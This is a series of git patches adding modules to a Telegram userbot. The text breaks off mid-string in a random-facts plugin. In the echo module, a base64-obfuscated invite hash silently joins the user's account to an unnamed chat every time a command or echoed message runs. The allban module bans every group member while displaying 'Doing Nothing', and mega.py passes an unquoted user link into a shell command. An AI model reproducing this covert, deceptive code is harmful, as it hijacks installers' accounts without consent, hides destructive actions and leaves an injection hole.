file changed, 37 insertions(+) create mode 100644 fridaybot/modules/qbot.py diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py new file mode 100644 index 00000000..3d7603e1 --- /dev/null +++ b/fridaybot/modules/qbot.py @@ -0,0 +1,37 @@ +#port to DARK COBRA by @hellboi-atul + +import datetime +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError +from telethon.tl.functions.account import UpdateNotifySettingsRequest +from fridayuserbot import bot, CMD_HELP +from ..utils import admin_cmd + +@borg.on(admin_cmd(pattern=r"quotebot(?: |$)(.*)")) +async def _(event): + if event.fwd_from: + return + if not event.reply_to_msg_id: + await event.edit("```Reply to any user message.```") + return + reply_message = await event.get_reply_message() + + chat = "@QuotLyBot" + sender = reply_message.sender + if reply_message.sender.bot: + await event.edit("```Reply to actual users message.```") + return + await event.edit("```Making a Quote```") + async with bot.conversation(chat) as conv: + try: + response = conv.wait_event(events.NewMessage(incoming=True,from_users=1031952739)) + await bot.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("```Please unblock @QuotLyBot and try again```") + return + if response.text.startswith("Hi!"): + await event.edit("```Can you kindly disable your forward privacy settings for good?```") + else: + await event.delete() + await bot.forward_messages(event.chat_id, response.message) From 9a4f0c4d297a6ae9046a01825eb282223490c35b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:33:53 +0530 Subject: [PATCH 048/838] Update qbot.py --- fridaybot/modules/qbot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index 3d7603e1..3198d65a 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -4,7 +4,7 @@ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from telethon.tl.functions.account import UpdateNotifySettingsRequest -from fridayuserbot import bot, CMD_HELP +from fridaybot import bot, CMD_HELP from ..utils import admin_cmd @borg.on(admin_cmd(pattern=r"quotebot(?: |$)(.*)")) From a45dda9883ff229a6645e2aa750937fbe0235b24 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:38:09 +0530 Subject: [PATCH 049/838] Update qbot.py --- fridaybot/modules/qbot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index 3198d65a..c28398ec 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -7,7 +7,7 @@ from fridaybot import bot, CMD_HELP from ..utils import admin_cmd -@borg.on(admin_cmd(pattern=r"quotebot(?: |$)(.*)")) +@borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) async def _(event): if event.fwd_from: return From c64a07e13fb0c1a5fed677163b83be91b44de513 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:44:40 +0530 Subject: [PATCH 050/838] Create dm.py --- fridaybot/modules/dm.py | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 fridaybot/modules/dm.py diff --git a/fridaybot/modules/dm.py b/fridaybot/modules/dm.py new file mode 100644 index 00000000..a65ad282 --- /dev/null +++ b/fridaybot/modules/dm.py @@ -0,0 +1,40 @@ +# By @HeisenbergTheDanger and @xditya + +import os +import re +from telethon import * +from fridaybot import bot +from ..utils import admin_cmd +from fridaybot import CMD_HELP +#Fixed by @NOOBGeng Second Member +@borg.on(admin_cmd(pattern="dm ?(.*)")) +async def _(dc): + + d = dc.pattern_match.group(1) + + c = d.split(" ")#hehe + + chat_id = c[0] + try: #dc hehe + chat_id = int(chat_id) + #hmm 🤔🤔🤔🤔 + except BaseException:#lalalala + + pass + + msg = "" + masg = await dc.get_reply_message() #ghanta😒😒 + if dc.reply_to_msg_id: + await borg.send_message(chat_id, masg) + await dc.edit("⚜️Message Delivered! Sar⚜️") + for i in c[1:]: + msg += i + " "#Fixed by @NOOBGeng Second Member + if msg == "":#hoho + return + try: + await borg.send_message(chat_id, msg) + await dc.edit("`⚜️Message Delivered!⚜️`") + except BaseException:#hmmmmmmmmm🤔🤔 + await dc.edit(".dm (username) (text)") + +CMD_HELP.update({"dm": ".dm (username) (text)\n or\n .dm (username)(reply to msg)\n it'll forward the replyed msg"}) From 989f5ef752af6ce4269e8a57db6f2446c8907d6a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:47:26 +0530 Subject: [PATCH 051/838] Create allban.py --- fridaybot/modules/allban.py | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 fridaybot/modules/allban.py diff --git a/fridaybot/modules/allban.py b/fridaybot/modules/allban.py new file mode 100644 index 00000000..ef55e980 --- /dev/null +++ b/fridaybot/modules/allban.py @@ -0,0 +1,31 @@ +#originally created by @danish_00 + +#team cobra +from asyncio import sleep +from telethon.tl.types import ChatBannedRights, ChannelParticipantsAdmins, ChatAdminRights +from telethon.tl.functions.channels import EditBannedRequest +from ..utils import admin_cmd +from fridaybot import bot + + +@bot.on(admin_cmd(pattern=r"allban", outgoing=True)) +async def testing(event): + nikal = await event.get_chat() + chutiya = await event.client.get_me() + admin = nikal.admin_rights + creator = nikal.creator + if not admin and not creator: + await event.edit(" U Don't have sufficient permission 🧐 u noob 😑😑") + return + await event.edit("Doing Nothing 🙃🙂")#Kang with Credits +# for Dark_Cobra + everyone = await event.client.get_participants(event.chat_id) + for user in everyone: + if user.id == chutiya.id: + pass + try: + await event.client(EditBannedRequest(event.chat_id, int(user.id), ChatBannedRights(until_date=None,view_messages=True))) + except Exception as e: + await event.edit(str(e)) + await sleep(.5) + await event.edit("Nothing Happend here🙃🙂") From 689037e17728faf4fffe7513653bb17082245314 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:50:10 +0530 Subject: [PATCH 052/838] Create echo.py --- fridaybot/modules/echo.py | 135 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 135 insertions(+) create mode 100644 fridaybot/modules/echo.py diff --git a/fridaybot/modules/echo.py b/fridaybot/modules/echo.py new file mode 100644 index 00000000..bc942fe4 --- /dev/null +++ b/fridaybot/modules/echo.py @@ -0,0 +1,135 @@ +""" +created by @mrconfused and @sandy1709 +Idea by @BlazingRobonix + +""" +# Copyright (C) 2020 sandeep.n(π.$) + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. + +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +import asyncio + +import pybase64 +import requests +from telethon import events +from telethon.tl.functions.messages import ImportChatInviteRequest as Get + +from .. import CMD_HELP +from ..utils import admin_cmd, edit_or_reply +from .sql_helper.echo_sql import addecho, get_all_echos, is_echo, remove_echo + + +@borg.on(admin_cmd(pattern="addecho$")) +async def echo(cat): + if cat.fwd_from: + return + if cat.reply_to_msg_id is not None: + reply_msg = await cat.get_reply_message() + user_id = reply_msg.from_id + chat_id = cat.chat_id + try: + hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await cat.client(hmm) + except BaseException: + pass + if is_echo(user_id, chat_id): + await edit_or_reply(cat, "The user is already enabled with echo ") + return + addecho(user_id, chat_id) + await edit_or_reply(cat, "Hi") + else: + await edit_or_reply(cat, "Reply To A User's Message to echo his messages") + + +@borg.on(admin_cmd(pattern="rmecho$")) +async def echo(cat): + if cat.fwd_from: + return + if cat.reply_to_msg_id is not None: + reply_msg = await cat.get_reply_message() + user_id = reply_msg.from_id + chat_id = cat.chat_id + try: + hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await cat.client(hmm) + except BaseException: + pass + if is_echo(user_id, chat_id): + remove_echo(user_id, chat_id) + await edit_or_reply(cat, "Echo has been stopped for the user") + else: + await edit_or_reply(cat, "The user is not activated with echo") + else: + await edit_or_reply(cat, "Reply To A User's Message to echo his messages") + + +@borg.on(admin_cmd(pattern="listecho$")) +async def echo(cat): + if cat.fwd_from: + return + lsts = get_all_echos() + if len(lsts) > 0: + output_str = "echo enabled users:\n\n" + for echos in lsts: + output_str += ( + f"[User](tg://user?id={echos.user_id}) in chat `{echos.chat_id}`\n" + ) + else: + output_str = "No echo enabled users " + if len(output_str) > Config.MAX_MESSAGE_SIZE_LIMIT: + key = ( + requests.post( + "https://nekobin.com/api/documents", json={"content": output_str} + ) + .json() + .get("result") + .get("key") + ) + url = f"https://nekobin.com/{key}" + reply_text = f"echo enabled users: [here]({url})" + await edit_or_reply(cat, reply_text) + else: + await edit_or_reply(cat, output_str) + + +@borg.on(events.NewMessage(incoming=True)) +async def samereply(cat): + if cat.chat_id in Config.UB_BLACK_LIST_CHAT: + return + if is_echo(cat.sender_id, cat.chat_id): + await asyncio.sleep(2) + try: + hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await cat.client(hmm) + except BaseException: + pass + if cat.message.text or cat.message.sticker: + await cat.reply(cat.message) + + +CMD_HELP.update( + { + "echo": "**Syntax :** `.addecho` reply to user to who you want to enable\ + \n**Usage : **replay's his every message for whom you enabled echo\ + \n\n**Syntax : **`.rmecho` reply to user to who you want to stop\ + \n**Usage : **Stops replaying his messages\ + \n\n**Syntax : **`.listecho`\ + \n**Usage : **shows the list of users for who you enabled echo\ + " + } +) From 5b4d1e813ff1a869466d2948801df73b678b62b8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:51:39 +0530 Subject: [PATCH 053/838] Create echo_sql.py --- fridaybot/modules/sql_helper/echo_sql.py | 47 ++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 fridaybot/modules/sql_helper/echo_sql.py diff --git a/fridaybot/modules/sql_helper/echo_sql.py b/fridaybot/modules/sql_helper/echo_sql.py new file mode 100644 index 00000000..0ca5deb6 --- /dev/null +++ b/fridaybot/modules/sql_helper/echo_sql.py @@ -0,0 +1,47 @@ +from sqlalchemy import Column, String + +from fridaybot.modules.sql_helper import BASE, SESSION + + +class ECHOSQL(BASE): + __tablename__ = "echo_sql" + user_id = Column(String(14), primary_key=True) + chat_id = Column(String(14), primary_key=True) + + def __init__(self, user_id, chat_id): + self.user_id = str(user_id) + self.chat_id = str(chat_id) + + +ECHOSQL.__table__.create(checkfirst=True) + + +def is_echo(user_id, chat_id): + try: + return SESSION.query(ECHOSQL).get((str(user_id), str(chat_id))) + except BaseException: + return None + finally: + SESSION.close() + + +def get_all_echos(): + try: + return SESSION.query(ECHOSQL).all() + except BaseException: + return None + finally: + SESSION.close() + + +def addecho(user_id, chat_id): + adder = ECHOSQL(str(user_id), str(chat_id)) + SESSION.add(adder) + SESSION.commit() + + +def remove_echo(user_id, chat_id): + note = SESSION.query(ECHOSQL).get((str(user_id), str(chat_id))) + if note: + SESSION.delete(note) + SESSION.commit() From 350902ee40c62ffdeaee13508aeb33a568511846 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:55:16 +0530 Subject: [PATCH 054/838] Create mega.py --- fridaybot/modules/mega.py | 194 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 194 insertions(+) create mode 100644 fridaybot/modules/mega.py diff --git a/fridaybot/modules/mega.py b/fridaybot/modules/mega.py new file mode 100644 index 00000000..911f6d00 --- /dev/null +++ b/fridaybot/modules/mega.py @@ -0,0 +1,194 @@ +# to DARK COBRA by @hellboi_atul +# Copyright (C) 2020 Adek Maulana. +# All rights reserved. +# +# Redistribution and use of this script, with or without modification, is +# permitted provided that the following conditions are met: +# +# 1. Redistributions of this script must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +# EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +import asyncio +import errno +import json +import math +import multiprocessing +import os +import re +import time +from asyncio import create_subprocess_shell as asyncSubprocess +from asyncio.subprocess import PIPE as asyncPIPE +from urllib.error import HTTPError + +from pySmartDL import SmartDL + +from fridaybot import CMD_HELP, LOGS +from ..utils import admin_cmd, humanbytes, time_formatter + +TEMP_DOWNLOAD_DIRECTORY = Config.TMP_DOWNLOAD_DIRECTORY + + +async def subprocess_run(megadl, cmd): + subproc = await asyncSubprocess(cmd, stdout=asyncPIPE, stderr=asyncPIPE) + stdout, stderr = await subproc.communicate() + exitCode = subproc.returncode + if exitCode != 0: + await megadl.edit( + "**An error was detected while running subprocess.**\n" + f"exitCode : `{exitCode}`\n" + f"stdout : `{stdout.decode().strip()}`\n" + f"stderr : `{stderr.decode().strip()}`" + ) + return exitCode + return stdout.decode().strip(), stderr.decode().strip(), exitCode + + +@borg.on(admin_cmd(outgoing=True, pattern=r"mega(?: |$)(.*)")) +async def mega_downloader(megadl): + await megadl.edit("`Collecting information...`") + if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(TEMP_DOWNLOAD_DIRECTORY) + msg_link = await megadl.get_reply_message() + link = megadl.pattern_match.group(1) + if link: + pass + elif msg_link: + link = msg_link.text + else: + return await megadl.edit("Usage: `.mega` ****") + try: + link = re.findall(r"\bhttps?://.*mega.*\.nz\S+", link)[0] + # - Mega changed their URL again - + if "file" in link: + link = link.replace("#", "!").replace("file/", "#!") + elif "folder" in link or "#F" in link or "#N" in link: + await megadl.edit("`folder download support are removed...`") + return + except IndexError: + await megadl.edit("`MEGA.nz link not found...`") + return None + cmd = f"bin/megadown -q -m {link}" + result = await subprocess_run(megadl, cmd) + try: + data = json.loads(result[0]) + except json.JSONDecodeError: + await megadl.edit("**JSONDecodeError**: `failed to extract link...`") + return None + except (IndexError, TypeError): + return + file_name = data["file_name"] + file_url = data["url"] + hex_key = data["hex_key"] + hex_raw_key = data["hex_raw_key"] + temp_file_name = file_name + ".temp" + temp_file_path = os.path.join(TEMP_DOWNLOAD_DIRECTORY, temp_file_name) + file_path = os.path.join(TEMP_DOWNLOAD_DIRECTORY, file_name) + if os.path.isfile(file_path): + try: + raise FileExistsError(errno.EEXIST, os.strerror(errno.EEXIST), file_path) + except FileExistsError as e: + await megadl.edit(f"`{str(e)}`") + return None + downloader = SmartDL(file_url, temp_file_path, progress_bar=False) + display_message = None + try: + downloader.start(blocking=False) + except HTTPError as e: + await megadl.edit(f"**HTTPError**: `{str(e)}`") + return None + start = time.time() + while not downloader.isFinished(): + status = downloader.get_status().capitalize() + total_length = downloader.filesize if downloader.filesize else None + downloaded = downloader.get_dl_size() + percentage = int(downloader.get_progress() * 100) + speed = downloader.get_speed(human=True) + estimated_total_time = round(downloader.get_eta()) + progress_str = "`{0}` | [{1}{2}] `{3}%`".format( + status, + "".join(["⬤" for i in range(math.floor(percentage / 10))]), + "".join(["◯" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + diff = time.time() - start + try: + current_message = ( + f"**➥file name : **`{file_name}`\n\n" + "**➥Status**\n" + f"{progress_str}\n" + f"`{humanbytes(downloaded)}` of `{humanbytes(total_length)}`" + f" @ `{speed}`\n" + f"**➥ETA -> **`{time_formatter(estimated_total_time)}`\n" + f"**➥ Duration -> **`{time_formatter(round(diff))}`" + ) + if round(diff % 15.00) == 0 and ( + display_message != current_message or total_length == downloaded + ): + await megadl.edit(current_message) + await asyncio.sleep(0.2) + display_message = current_message + except Exception: + pass + finally: + if status == "Combining": + wait = round(downloader.get_eta()) + await asyncio.sleep(wait) + if downloader.isSuccessful(): + download_time = round(downloader.get_dl_time() + wait) + try: + P = multiprocessing.Process( + target=await decrypt_file( + megadl, file_path, temp_file_path, hex_key, hex_raw_key + ), + name="Decrypt_File", + ) + P.start() + P.join() + except FileNotFoundError as e: + await megadl.edit(f"`{str(e)}`") + return None + else: + await megadl.edit( + f"**➥ file name : **`{file_name}`\n\n" + f"**➥ Successfully downloaded in : ** `{file_path}`.\n" + f"**➥ Download took :** {time_formatter(download_time)}." + ) + return None + else: + await megadl.edit( + "`Failed to download, " "check heroku Logs for more details.`" + ) + for e in downloader.get_errors(): + LOGS.info(str(e)) + return + + +async def decrypt_file(megadl, file_path, temp_file_path, hex_key, hex_raw_key): + cmd = "cat '{}' | openssl enc -d -aes-128-ctr -K {} -iv {} > '{}'".format( + temp_file_path, hex_key, hex_raw_key, file_path + ) + if await subprocess_run(megadl, cmd): + os.remove(temp_file_path) + else: + raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), file_path) + return + + +CMD_HELP.update( + { + "mega": "__**PLUGIN NAME :** Mega__\ + \n\n📌** CMD ➥** `.mega` \ + \n**USAGE ➥ **Reply to a MEGA.nz link or paste your MEGA.nz link\ + \n\n__ It will download the file into your userbot server.__" + } +) From 3f8db0588e90ec7ff8653104f94f363ec0927dea Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:58:17 +0530 Subject: [PATCH 055/838] Create gps2.py --- fridaybot/modules/gps2.py | 92 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 fridaybot/modules/gps2.py diff --git a/fridaybot/modules/gps2.py b/fridaybot/modules/gps2.py new file mode 100644 index 00000000..7ffddf69 --- /dev/null +++ b/fridaybot/modules/gps2.py @@ -0,0 +1,92 @@ + +from geopy.geocoders import Nominatim +from ..utils import admin_cmd +from telethon.tl import types +from fridaybot import CMD_HELP +import re +import random +from fridaybot import bot + + +@borg.on(admin_cmd(pattern="locate ?(.*)")) +async def gps(event): + if event.fwd_from: + return + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + input_str = event.pattern_match.group(1) + + if not input_str: + return await event.edit("what should i find give me location.") + + await event.edit("finding") + + geolocator = Nominatim(user_agent="LOCATER") + geoloc = geolocator.geocode(input_str) + + if geoloc: + lon = geoloc.longitude + lat = geoloc.latitude + await reply_to_id.reply( + input_str, + file=types.InputMediaGeoPoint( + types.InputGeoPoint( + lat, lon + ) + ) + ) + await event.delete() + else: + await event.edit("i coudn't find it") + + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+") + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, '', inputString) + +@borg.on(admin_cmd(pattern="map(?: |$)(.*)")) + +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + what = (await doit.get_reply_message()).message + + return + mappy = await bot.inline_query( + "openmap_bot", f"{(deEmojify(ok))}") + await mappy[0].click(doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True) + await doit.delete() + + + + + +CMD_HELP.update( + { + "Location finder": "__**PLUGIN NAME :** gps__\ + \n\n📌** CMD ★** `.locate `\ + \n**USAGE ★ **Finds your desired location using geopy...\ + \n\n📌** CMD ★** `.map `\ + \n**USAGE ★ **Uses an inline bot to find your desired location.." + } +) From aca395d615e0c10632a3894c1450a6f7a9723b39 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:59:38 +0530 Subject: [PATCH 056/838] Create logic.py --- fridaybot/modules/logic.py | 436 +++++++++++++++++++++++++++++++++++++ 1 file changed, 436 insertions(+) create mode 100644 fridaybot/modules/logic.py diff --git a/fridaybot/modules/logic.py b/fridaybot/modules/logic.py new file mode 100644 index 00000000..f51ece3a --- /dev/null +++ b/fridaybot/modules/logic.py @@ -0,0 +1,436 @@ +"""No Logic Pligon for @PepeBot +\nCoding by Legend @NeoMatrix90 +\nType .logic to see many logical fact +""" +from telethon import events +import asyncio +import random +import re + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern=f"logic$", outgoing=True)) +async def _(event): + if event.fwd_from: + return + + await asyncio.sleep(0.5) + + x=(random.randrange(1,104)) + + if x==1: + + await event.edit("`\"Underwater bubbles and raindrops are total opposites of each other.\"`") + + if x==2: + + await event.edit("`\"If you buy an eraser you are literally paying for your mistakes.\"`") + + if x==3: + + await event.edit("`\"The Person you care for most has the potential to destroy you the most.\"`") + + if x==4: + + await event.edit("`\"If humans colonize the moon, it will probably attract retirement homes as the weaker gravity will allow the elderly to feel stronger.\"`") + + if x==5: + + await event.edit("`\"Any video with ?wait for it? in the title is simply too long.\"`") + + if x==6: + + await event.edit("`\"Your age in years is how many times you?ve circled the Sun, but your age in months is how many times the Moon has circled you.\"`") + + if x==7: + + await event.edit("`\"Biting your tongue while eating is a perfect example of how you can still screw up, even with decades of experience.\"`") + + if x==8: + + await event.edit("`\"Saying that your home is powered by a wireless Nuclear fusion reactor that is 93 Million miles away sounds way cooler than just saying you have solar panels on your roof.\"`") + + if x==9: + + await event.edit("`\"The most crushing feeling is when someone smiles at you on the street and you don?t react fast enough to smile back.\"`") + + if x==10: + + await event.edit("`\"Teeth constantly require maintenance to prevent their decay when alive, and yet they manage to survive for thousands of years buried as fossils.\"`") + + if x==11: + + await event.edit("`\"A folder is for things that you don't want to fold.\"`") + + if x==12: + + await event.edit("`\"Waking up in the morning sometimes feels like resuming a shitty movie you decided to quit watching.\"`") + + if x==13: + + await event.edit("`\"If everything goes smoothly, you probably won't remember today.\"`") + + if x==14: + + await event.edit("`\"When you meet new people in real life, you unlock more characters for your dream world.\"`") + + if x==15: + + await event.edit("`\"Maybe if they renamed sunscreen to ?anti-cancer cream? more people would wear it.\"`") + + if x==16: + + await event.edit("`\"200 years ago, people would never have guessed that humans in the future would communicate by silently tapping on glass.\"`") + + if x==17: + + await event.edit("`\"Parents worry about what their sons download and worry about what their daughters upload.\"`") + + if x==18: + + await event.edit("`\"It's crazy how you can be the same age as someone, but at a completely different stage in your life.\"`") + + if x==19: + + await event.edit("`\"When you think you wanna die, you really don't wanna die, you just don't wanna live like this.\"`") + + if x==20: + + await event.edit("`\"Technically, no one has ever been in an empty room.\"`") + + if x==21: + + await event.edit("`\"An onion is the bass player of food. You would probably not enjoy it solo, but you?d miss it if it wasn?t there.\"`") + + if x==22: + + await event.edit("`\"We run everywhere in videogames because we're too lazy to walk, but In real life we walk everywhere because we're too lazy to run.\"`") + + if x==23: + + await event.edit("`\"Every single decision you ever made has brought you to read this sentence.\"`") + + if x==24: + + await event.edit("`\"The word 'quiet' is often said very loud.\"`") + + if x==25: + + await event.edit("`\"Everybody wants you to work hard, but nobody wants to hear about how hard you work.\"`") + + if x==26: + + await event.edit("`\"We brush our teeth with hair on a stick and brush our hair with teeth on a stick.\"`") + + if x==27: + + await event.edit("`\"No one remembers your awkward moments but they?re too busy remembering their own.\"`") + + if x==28: + + await event.edit("`\"Dumb people try to say simple ideas as complex as possible while smart people try to say complex ideas as simple as possible.\"`") + + if x==29: + + await event.edit("`\"Some people think they're better than you because they grew up richer. Some people think they're better than you because they grew up poorer.\"`") + + if x==30: + + await event.edit("`\"The biggest irony is that computers & mobiles were invented to save out time!\"`") + + if x==31: + + await event.edit("`\"After honey was first discovered, there was likely a period where people were taste testing any available slime from insects.\"`") + + if x==32: + + await event.edit("`\"You know you?re getting old when your parents start disappointing you, instead of you disappointing them.\"`") + + if x==33: + + await event.edit("`\"Humans are designed to learn through experience yet the education system has made it so we get no experience.\"`") + + if x==34: + + await event.edit("`\"By focusing on blinking, you blink slower... Same for breathing.\"`") + + if x==35: + + await event.edit("`\"Drivers in a hurry to beat traffic usually cause the accidents which create the traffic they were trying to avoid.\"`") + + if x==36: + + await event.edit("`\"Characters that get married in fiction were literally made for each other.\"`") + + if x==37: + + await event.edit("`\"Babies are a clean hard drive that can be programmed with any language.\"`") + + if x==38: + + await event.edit("`\"There could be a miracle drug that cures every disease to man, that we'll never know about because it doesn't work on rats.\"`") + + if x==39: + + await event.edit("`\"Rhinos evolved to grow a horn for protection, but it's what's making them go extinct.\"`") + + if x==40: + + await event.edit("`\"Maybe we don't find time travelers because we all die in 25-50 years.\"`") + + if x==41: + + await event.edit("`\"Sleep is the trial version of death, It even comes with ads based on your activity.\"`") + + if x==42: + + await event.edit("`\"The most unrealistic thing about Spy movies is how clean the air ventilation system is!\"`") + + if x==43: + + await event.edit("`\"In games we play through easy modes to unlock hard modes. In life we play through hard modes to unlock easy modes.\"`") + + if x==44: + + await event.edit("`\"Silent people seem smarter than loud people, because they keep their stupid thoughts to themselves.\"`") + + if x==45: + + await event.edit("`\"If Greenland actually turns green, we're all screwed.\"`") + + if x==46: + + await event.edit("`\"If someone says clever things in your dream, it actually shows your own cleverness.\"`") + + if x==47: + + await event.edit("`\"Famous movie quotes are credited to the actor and not the actual writer who wrote them.\"`") + + if x==48: + + await event.edit("`\"No one actually teaches you how to ride a bicycle. They just hype you up until you work it out.\"`") + + if x==49: + + await event.edit("`\"Ask yourself why the the brain ignores the second the.\"`") + + if x==50: + + await event.edit("`\"You?ve probably forgot about 80% of your entire life and most of the memories you do remember are not very accurate to what actually happened.\"`") + + if x==51: + + await event.edit("`\"It will be a lot harder for kids to win against their parents in video games in the future.\"`") + + if x==52: + + await event.edit("`\"Everyone has flaws, if you don't recognize yours, you have a new one.\"`") + + if x==53: + + await event.edit("`\"Raising a child is training your replacement.\"`") + + if x==54: + + await event.edit("`\"'O'pen starts with a Closed circle, and 'C'lose starts with an open circle.\"`") + + if x==55: + + await event.edit("`\"There's always someone who hated you for no reason, and still does.\"`") + + if x==56: + + await event.edit("`\"After popcorn was discovered, there must have been a lot of random seeds that were roasted to see if it would have the same effect.\"`") + + if x==57: + + await event.edit("`\"The more important a good night's sleep is, the harder it is to fall asleep.\"`") + + if x==58: + + await event.edit("`\"Blessed are those that can properly describe the type of haircut they want to a new stylist.\"`") + + if x==59: + + await event.edit("`\"Too many people spend money they haven't earned, to buy things they don't want, to impress people they don't like!\"`") + + if x==60: + + await event.edit("`\"Theme park employees must be good at telling the difference between screams of horror and excitement.\"`") + + if x==61: + + await event.edit("`\"6 to 6:30 feels more half-an-hour than 5:50 to 6:20\"`") + + if x==62: + + await event.edit("`\"Getting your password right on the last login attempt before lockout is the closest thing to disarming a bomb at the last minute that most of us will experience.\"`") + + if x==63: + + await event.edit("`\"Listening to podcasts before bed is the adult version of story-time.\"`") + + if x==64: + + await event.edit("`\"If all criminals stopped robbing then the security industry would fall in which they could then easily go back to robbing.\"`") + + if x==65: + + await event.edit("`\"A ton of whales is really only like half a whale.\"`") + + if x==66: + + await event.edit("`\"When you get old, the old you is technically the new you, and your young self is the old you.\"`") + + if x==67: + + await event.edit("`\"You probably won't find many negative reviews of parachutes on the Internet.\"`") + + if x==68: + + await event.edit("`\"We show the most love and admiration for people when they're no longer around to appreciate it.\"`") + + if x==69: + + await event.edit("`\"We've practiced sleeping thousands of times, yet can't do it very well or be consistent.\"`") + + if x==70: + + await event.edit("`\"Humans are more enthusiastic about moving to another planet with hostile environment than preserving earth - the planet they are perfectly shaped for.\"`") + + if x==71: + + await event.edit("`\"The happiest stage of most people's lives is when their brains aren't fully developed yet.\"`") + + if x==72: + + await event.edit("`\"The most effective alarm clock is a full bladder.\"`") + + if x==73: + + await event.edit("`\"You probably just synchronized blinks with millions of people.\"`") + + if x==74: + + await event.edit("`\"Since we test drugs on animals first, rat medicine must be years ahead of human medicine.\"`") + + if x==75: + + await event.edit("`\"Night before a day off is more satisfying than the actual day off.\"`") + + if x==76: + + await event.edit("`\"We put paper in a folder to keep it from folding.\"`") + + if x==77: + + await event.edit("`\"Somewhere, two best friends are meeting for the first time.\"`") + + if x==78: + + await event.edit("`\"Our brain simultaneously hates us, loves us, doesn't care about us, and micromanages our every move.\"`") + + if x==79: + + await event.edit("`\"Being a male is a matter of 